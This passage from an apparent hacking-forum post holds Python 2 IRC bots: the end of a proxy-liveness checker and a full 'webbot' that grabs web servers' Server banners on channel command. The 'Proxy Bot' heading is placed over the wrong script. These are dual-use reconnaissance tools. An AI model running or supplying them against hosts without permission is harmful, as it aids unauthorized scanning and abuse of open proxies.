if line[3] == \":!\"+NICK:
proxy = line[4].replace(\"http://\",\"\")+\":\"+line[5]
print \"[+] Testing:\",proxy
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] Testing: \",proxy))
try:
proxtest(proxy)
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] Alive: \",proxy))
except(IOError, socket.gaierror, socket.timeout, socket.error, httplib.InvalidURL), msg:
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[-] Dead: \",msg))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])[/code]
[color=#32CD32][align=center][b]Proxy Bot[/b][/align][/color]
[code]#!/usr/bin/python
#Prints the webserver using...
#Args: !webbot <host> <port>
#d3hydr8[at]gmail[dot]com
import sys, socket, string, httplib, time
if len(sys.argv) != 5:
print \"Usage: ./webbot.py <host> <port> <nick> <channel>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, PORT))
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
def servgrab(host, port):
host = host.replace(\"http://\",\"\")
try:# make a http HEAD request
h = httplib.HTTP(host)
h.putrequest(\"HEAD\", \"/\")
h.putheader(\"Host\", host)
h.endheaders()
status, reason, headers = h.getreply()
return status, reason, headers.get(\"Server\")
except(UnboundLocalError, socket.timeout, socket.error):
print \"\tTimeout Error: Slow\"
pass
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
print line
try:
if line[3] == \":!\"+NICK:
try:
status, reason, headers = servgrab(line[4], int(line[5]))
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"Server: \",headers))
except(socket.gaierror, socket.timeout, socket.error), msg:
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"Error: \",msg))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])